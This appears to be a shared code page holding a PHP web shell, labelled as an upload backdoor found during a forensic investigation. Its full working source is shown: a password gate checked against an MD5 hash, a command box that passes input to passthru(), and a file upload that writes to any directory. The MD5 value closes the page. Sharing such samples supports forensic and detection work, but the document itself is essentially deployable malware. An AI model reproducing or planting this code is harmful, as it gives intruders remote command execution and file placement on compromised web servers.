Created
January 8, 2016 12:15
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PHP file upload backdoor found during forensic investigation
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<?php | |
ini_set('display_errors','Off'); | |
error_reporting('E_ALL'); | |
$multipart = "236c985403e7e1"; | |
$part = "450be30e0288de41b6"; | |
if (md5($_POST['multipart'])==$multipart.$part){ | |
echo ' | |
<div align="left"> | |
<font size="1">:</font> | |
</div> | |
<form action="'.$_SERVER['PHP_SELF'].'" name="cmd" method="POST" enctype="multipart/form-data"> | |
<input type="text" name="cmd" size="31" class="input"> | |
<input type="hidden" name="multipart" size="31" class="pp" value="'.$_POST['multipart'].'"> | |
<br> | |
<pre>'; | |
if ($_POST['cmd']){ | |
$cmd = $_POST['cmd']; | |
passthru($cmd); | |
echo "<p>".@getcwd()."</p>"; | |
} | |
$uploaded = $_FILES['file']['tmp_name']; | |
if (file_exists($uploaded)) { | |
$pwddir = $_POST['dir']; | |
$real = $_FILES['file']['name']; | |
$dez = $pwddir."/".$real; | |
copy($uploaded, $dez); | |
echo "<p>$dez</p>"; | |
} | |
echo '<form action="'.$_SERVER['PHP_SELF'].'" name="form1" method="post" enctype="multipart/form-data"> | |
<input type="text" name="dir" size="31" value="'.passthru("pwd").'"> | |
<input type="submit" name="submit2" value="Upload"> | |
<input type="file" name="file" size="15"> | |
<input type="hidden" name="multipart" size="31" class="pp" value="'.$_POST['multipart'].'"> | |
</td> | |
</tr> | |
</table>'; | |
} | |
else | |
{ | |
echo '<head><form name="multipart" method="POST" enctype="multipart/form-data"> | |
<input type="text" name="multipart" size="31" class="input">'; | |
} | |
echo '</body> | |
</html>'; | |
?> |
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MD5: 236c985403e7e1450be30e0288de41b6